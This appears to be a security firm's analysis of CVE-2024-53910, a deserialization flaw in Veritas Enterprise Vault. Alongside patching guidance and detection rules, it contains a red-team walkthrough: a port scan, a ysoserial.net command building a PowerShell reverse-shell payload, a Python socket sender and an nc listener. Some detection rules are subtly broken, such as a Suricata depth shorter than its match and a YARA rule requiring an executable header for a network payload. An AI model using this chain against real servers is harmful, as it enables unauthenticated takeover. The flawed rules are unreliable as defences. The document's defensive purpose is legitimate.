CVE-2024-53910

Executive Summary

CVE-2024-53910 is a critical remote code execution vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving solution. The flaw resides in the server component's handling of .NET Remoting traffic. An unauthenticated attacker can send specially crafted, untrusted data to the .NET Remoting TCP port, which is then deserialized without proper validation. This insecure deserialization (CWE-502) allows the attacker to execute arbitrary code on the target server with the privileges of the Enterprise Vault service account, typically SYSTEM or a highly privileged domain account. The vulnerability has a CVSS score of 9.8, indicating a critical severity. No public proof-of-concept (PoC) or exploit code has been released at the time of this analysis, but the risk of weaponization is high given the ease of exploitation and the value of the target.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Complete disclosure of all data on the system.
• Integrity (I): High – Complete compromise of system integrity.
• Availability (A): High – Total loss of availability, leading to denial of service.

Threat Level: Critical. The combination of network accessibility, no authentication, and the potential for full system compromise makes this a top-priority vulnerability for any organization using Veritas Enterprise Vault.

Deep Dive & Mechanics

The vulnerability is rooted in the .NET Remoting infrastructure used by Veritas Enterprise Vault for inter-process and network communication. .NET Remoting is a legacy technology that allows objects to interact across application domains or network boundaries. It relies on serialization to marshal objects and method calls.

The specific flaw is an insecure deserialization vulnerability. The server listens on a TCP port (typically a high port, e.g., 8443 or a custom port) for incoming .NET Remoting requests. When the server receives serialized data, it deserializes it without proper validation or type checking. An attacker can craft a malicious serialized object that, when deserialized, triggers the execution of arbitrary code. This is often achieved using known gadget chains (e.g., TextFormattingRunProperties, DataSet, or ObjectDataProvider) that are available in the .NET Framework.

The attack flow is as follows:

1. Reconnaissance: The attacker identifies a Veritas Enterprise Vault server and determines the .NET Remoting port (e.g., via port scanning or Shodan).
2. Payload Crafting: The attacker creates a malicious serialized .NET object that contains a command to execute (e.g., a reverse shell, a payload to install ransomware, or a command to exfiltrate data).
3. Delivery: The attacker sends the serialized payload to the .NET Remoting endpoint.
4. Deserialization: The server deserializes the payload, triggering the gadget chain and executing the attacker's code.
5. Compromise: The attacker gains code execution with the privileges of the Enterprise Vault service account, leading to full system compromise.

Vulnerable vs. Patched Code

The vulnerable code resides in the .NET Remoting server component of Veritas Enterprise Vault. The exact code is proprietary, but the vulnerability is a classic insecure deserialization pattern.

Vulnerable Code (Conceptual):

// Vulnerable: Direct deserialization without type validation
public void ProcessRemotingRequest(Stream requestStream) {
    BinaryFormatter formatter = new BinaryFormatter();
    // The following line is the vulnerability
    object deserializedObject = formatter.Deserialize(requestStream);
    // Process the deserialized object...
}

Patched Code (Conceptual):

// Patched: Use a safe deserialization approach
public void ProcessRemotingRequest(Stream requestStream) {
    // Use a custom SerializationBinder to restrict allowed types
    BinaryFormatter formatter = new BinaryFormatter();
    formatter.Binder = new SafeSerializationBinder(); // Custom binder
    // Or, switch to a safer serialization framework like DataContractSerializer
    // DataContractSerializer serializer = new DataContractSerializer(typeof(AllowedType));
    // object deserializedObject = serializer.ReadObject(requestStream);
    // Process the deserialized object...
}

The patch involves either:

1. Implementing a custom SerializationBinder that whitelists only expected types.
2. Replacing BinaryFormatter with a safer alternative like DataContractSerializer or XmlSerializer.
3. Adding input validation and integrity checks (e.g., HMAC) to the serialized data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: A virtual machine running a vulnerable version of Veritas Enterprise Vault (e.g., 15.1 or earlier) on Windows Server.
• Attacker: A Kali Linux or Windows machine with .NET development tools (e.g., Visual Studio, ysoserial.net).
• Network: Both machines on the same network segment.

Exploitation Steps:

1. Identify the Remoting Port: Use Nmap to scan the target for open ports. The default .NET Remoting port for Enterprise Vault is often 8443 or a custom port.

   nmap -p 1-65535 -T4 <target_ip>
   

2. Generate Payload: Use ysoserial.net to generate a malicious serialized payload. For example, to execute a reverse shell:

   ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "powershell -e <base64_encoded_reverse_shell>"
   

3. Send Payload: Use a custom script or tool (e.g., a Python script using socket) to send the payload to the target's Remoting port.

   import socket
   
   target_ip = "192.168.1.100"
   target_port = 8443
   payload = b"<raw_binary_payload_from_ysoserial>"
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(payload)
   sock.close()
   

4. Receive Shell: Listen on your attacker machine for the reverse shell connection.

   nc -lvnp 4444
   

Blue Team (Defensive)

Detection & Response:

1. Monitor Network Traffic: Look for unusual traffic to the .NET Remoting port (e.g., large, non-standard payloads). Use network detection rules (see Suricata rule below).
2. Enable Logging: Ensure detailed logging is enabled for the Enterprise Vault service and Windows Event Logs (especially Security and Application logs).
3. Harden the Service:
   • Restrict network access to the .NET Remoting port using a firewall. Only allow connections from trusted management hosts.
   • If possible, disable .NET Remoting and use a more secure communication protocol (e.g., WCF with HTTPS).
4. Apply the Patch: Upgrade to Veritas Enterprise Vault 15.2 or later as soon as possible.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual TCP connections to the Enterprise Vault Remoting port (e.g., port 8443) from unexpected IP addresses.
  • Large, non-standard payloads in the TCP stream to the Remoting port.
  • Outbound connections from the Enterprise Vault server to unknown IP addresses (e.g., reverse shell traffic).
• Host IOCs:
  • Unexpected processes spawned by the Enterprise Vault service account (e.g., cmd.exe, powershell.exe, rundll32.exe).
  • New scheduled tasks or services created on the server.
  • Unusual files written to disk (e.g., in %TEMP% or %SYSTEMROOT%).
  • Modifications to the Windows Registry (e.g., Run keys).
• Log IOCs:
  • Windows Event ID 4688 (Process Creation) showing suspicious processes.
  • Windows Event ID 7045 (Service Installation) for new services.
  • Application logs showing errors related to .NET Remoting or deserialization.

Detection Engineering

YARA Rule

rule CVE_2024_53910_Veritas_Enterprise_Vault_Deserialization {
    meta:
        description = "Detects malicious .NET Remoting payloads targeting CVE-2024-53910"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53910"
        severity = "critical"
    strings:
        $s1 = "System.Runtime.Serialization.Formatters.Binary" ascii wide nocase
        $s2 = "BinaryFormatter" ascii wide nocase
        $s3 = "TextFormattingRunProperties" ascii wide nocase
        $s4 = "ObjectDataProvider" ascii wide nocase
        $s5 = "DataSet" ascii wide nocase
        $s6 = "Process.Start" ascii wide nocase
        $s7 = "System.Diagnostics.Process" ascii wide nocase
    condition:
        (uint16(0) == 0x4D5A) and // MZ header
        (any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: CVE-2024-53910 - Veritas Enterprise Vault .NET Remoting Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-53910 via network or process indicators
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'EnterpriseVault.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'rundll32.exe'
            - 'wscript.exe'
            - 'cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8443 (msg:"CVE-2024-53910 - Veritas Enterprise Vault .NET Remoting Exploitation Attempt"; flow:to_server,established; content:"|00 01 00 00 00 ff ff ff ff|"; depth:8; content:"|01 00 00 00|"; distance:0; within:4; content:"System.Runtime.Serialization.Formatters.Binary"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault version 15.2 or later. This is the only complete fix.
2. Network Segmentation: Isolate the Enterprise Vault server on a separate network segment. Restrict access to the .NET Remoting port (e.g., 8443) to only authorized management hosts using a firewall.
3. Disable .NET Remoting (if possible): If the environment allows, disable the .NET Remoting service and use alternative management interfaces (e.g., HTTPS-based APIs).

Long-Term Measures:

1. Vulnerability Scanning: Regularly scan for vulnerabilities in all enterprise software.
2. Least Privilege: Run the Enterprise Vault service with the minimum necessary privileges. Avoid using domain admin or SYSTEM accounts.
3. Monitoring: Implement continuous monitoring for the IOCs listed above.
4. Incident Response: Have an incident response plan ready for potential exploitation of this vulnerability.

Valters IT – Securing your digital assets with precision and expertise.